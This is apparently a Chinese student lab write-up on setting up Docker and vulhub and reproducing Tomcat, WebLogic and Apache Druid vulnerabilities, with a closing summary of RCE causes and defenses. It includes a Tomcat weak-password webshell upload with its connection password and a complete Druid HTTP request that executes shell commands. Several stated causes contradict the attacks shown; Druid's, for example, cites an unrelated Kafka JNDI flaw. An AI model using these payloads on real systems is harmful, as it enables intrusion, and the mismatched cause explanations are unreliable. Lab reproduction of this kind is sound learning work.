目录
2.上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
1.在vps安装docker和docker-compose
Docker与Docker-compose是现代软件开发和部署中不可或缺的工具,它们在容器化应用方面发挥着重要作用。
Docker
1. 简介
Docker是一个开源的应用容器引擎,它允许开发者将应用程序及其依赖项打包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上。Docker通过提供轻量级、可移植的容器环境,简化了应用程序的部署和管理。
2. 核心概念
- 镜像(Image):Docker镜像是一个只读的、可执行的文件系统,包含了所有应用的代码、库、系统工具等。镜像可以通过Docker Hub、Docker Registry等仓库来获取和分享。
- 容器(Container):Docker容器是从镜像创建的运行实例,包含了应用的所有依赖项和运行时环境。容器是隔离的,每个容器都运行在自己的独立的文件系统和网络空间中,不会互相影响。
- Dockerfile:Dockerfile是用于构建Docker镜像的文件,包含了一系列的构建指令,例如FROM、RUN、COPY、CMD等。开发人员可以通过编写Dockerfile来定义应用的构建过程,并使用Docker CLI来构建镜像。
- Docker Engine:Docker Engine是Docker的核心组件,负责构建、运行和管理容器。它包含了一个容器运行时、镜像存储、API服务等组件。
3. 主要特点
- 可移植性:Docker容器可以在任何安装了Docker引擎的机器上运行。
- 隔离性:每个Docker容器都是完全独立的,实现了应用程序的隔离。
- 轻量级:Docker容器比传统的虚拟机更轻量级,因为它们共享宿主机的内核。
- 自动化:通过Dockerfile,开发者可以自动化地构建、打包和发布应用程序。
- 安全性:Docker通过限制容器对宿主机的访问权限和提供安全的容器间通信机制,增强了应用程序的安全性。
Docker-compose
1. 简介
Docker-compose是Docker的官方开源项目,用于定义和运行多容器Docker应用程序。它允许开发人员使用YAML格式的配置文件(docker-compose.yml)来定义应用的多个容器及其之间的关系,并可以一次性启动、停止、重新构建所有容器。
2. 核心概念
- Compose文件(docker-compose.yml):这是一个YAML格式的配置文件,用于定义应用的多个容器及其之间的关系。它包含了容器的名称、镜像、端口、环境变量等配置项。
- 服务(Service):在Compose文件中,服务是一个独立的容器,用于运行应用的一个组件。每个服务都有一个唯一的名称和镜像,可以通过Compose文件中的配置项来定义运行参数。
- 网络(Network):在Compose文件中,网络是一个用于连接多个容器的虚拟网络。容器可以通过网络来相互通信。
- 卷(Volume):在Compose文件中,卷是一个可以在多个容器之间共享的持久化存储。它用于存储应用的数据、配置文件等。
3. 主要特点
- 多容器定义:通过编写一个YAML格式的配置文件,可以定义多个相互依赖的服务和它们之间的连接关系。
- 一键部署:使用Docker Compose,可以一键启动或停止多个容器,而无需逐个手动操作。
- 依赖管理:Docker Compose可以自动处理容器之间的依赖关系,确保服务按照正确的顺序启动和停止。
- 环境变量和配置管理:可以在docker-compose.yml文件中定义环境变量和配置文件,并在容器之间共享。
- 网络管理:Docker Compose可以创建和管理容器之间的网络,确保它们能够相互通信。
Docker与Docker-compose的联系与区别
联系:
- Docker是一个用于构建、运行和管理容器的工具,而Docker Compose则是一个用于定义、运行多容器应用的工具。
- Docker Compose使用Docker Engine来运行和管理容器,并通过Compose文件来定义应用的多个容器及其之间的关系。
区别:
- Docker主要用于单个容器的创建、管理和运行,提供了强大的可移植性、隔离性和自动化功能。
- Docker Compose则专注于定义和运行多容器Docker应用程序,通过管理容器之间的依赖关系、环境变量、网络等,使得复杂应用程序的部署和管理变得更加容易。
vps安装docker和docker-compose
kali安装docker及vulhub靶场环境
root权限下,编辑 /etc/apt/sources.list文件,更换国内镜像源
1)vim /etc/apt/sources.list
# 镜像源,二选一即可
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib # 中科大
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib # 阿里云
2)apt-get update # 换源之后更新
下载docker及docker-compose
1)apt install docker.io
2)docker -v # 查看docker版本
3)pip install docker-compose # 使用pip下载安装,没有pip的执行apt install python3-pip
4)docker-compose -v # 查看docker-compose版本
# 此处若出现报错,更换pip源再次下载
pip install docker-compose -i Simple Index
下载vulhub靶场
git clone https://github.com/vulhub/vulhub.git
2.上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
tomcat
Tomcat 服务器是一个开源的轻量级 Web 应用服务器,在中小型系统和并发量小的场合下被普遍使用,是开发和调试 Servlet、JSP 程序的首选。
tomcat 漏洞复现
Tomcat 弱口令+getshell 漏洞环境搭建进入
验证 :http://192.168.129.210:8080/
http://192.168.129.210:8080/manager/html 进入后台 弱口令 tomcat
war 包制作 : jar -cvf shell_jsp2.war shell.jsp 将shell.jsp打包为war包。
上传木马 war 包
访问木马:http://192.168.1.5:8080/shell.jsp/shell.jsp
使用冰蝎连接,密码abcdef
成功复现
tomcat 漏洞成因
Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell
weblogic
开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。
weblogic 漏洞复现
启动靶场后访问 192.168.1.57001/console/login/LoginForm.jsp
nmap扫描
攻击机kali nmap扫描靶机ip,看目标是否开启T3协议
nmap -n -v -p 7001 your-ip --script=weblogic-t3-info
weblogic 漏洞成因
存在弱口令
apache druid RCE
Apache Druid是一个高性能的实时大数据分析引擎,支持快速数据摄取、实时查询和数据可视化。它主要用于OLAP(在线分析处理)场景,能处理PB级别的数据。Druid具有高度可扩展、低延迟和高吞吐量的特点,广泛应用于实时监控、事件驱动分析、用户行为分析、网络安全等领域。通过使用Druid,企业和开发者可以快速获得实时分析结果,提升决策效率。
apache druid RCE 漏洞复现
打开环境可以看到下图:
点击 Load data 按钮
点击 Local disk 按钮
抓包发送下面的POC
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
命令成功执行
apache druid RCE 漏洞成因
在Apache Druid使用Apache Kafka加载数据的场景下,未经身份认证的远程攻击者可配置Kafka连接属性,从而利用CVE-2023-25194漏洞触发JNDI注入,最终执行任意代码。(其他使用Apache Kafka Connect的产品也可能受CVE-2023-25194漏洞影响)
3.总结RCE漏洞的原理和利用条件及解决方案
1. 什么是远程代码执行漏洞
远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。RCE分为远程命令执行ping和远程代码执行evel。
2. 漏洞产生的根本原因
服务器没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
3. 如何挖掘RCE漏洞
黑盒测试:网站中有特殊功能,比如Ping、数据库备份等等。
白盒测试:查看命令执行函数是否做过滤。命令执行函数如下:
PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
4. 挖到这个漏洞能做什么
- 远程命令、代码执行(单凭这一点能做的事情就不少,如下)
- 获取敏感数据、文件、服务器信息
- 写入恶意文件Getshell
5. 如何利用此漏洞
在网上你会发现有很多关于RCE的文章基本都是白盒检测出来的,但是渗透测试过程中,都是黑盒测试的。但是黑盒挖掘RCE漏洞太难了,很少有特征点,要理解参数的意义才有可能黑盒测试到。
6. 漏洞造成的危害
RCE漏洞造成的危害不言而喻,高危漏洞。能直接获取服务器的控制权。
7. 发现此漏洞,该怎么修复
- 通用的修复方案,升级插件/框架/服务最新版。
- 如若必须使用危险函数,那么针对危险函数进行过滤。
8. 如何防范此漏洞
- 在进入执行命令函数前进行严格的检测和过滤;
- 尽量不要使用命令执行函数,不能完全控制的危险函数最好不使用;
- 对于eval函数,一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式;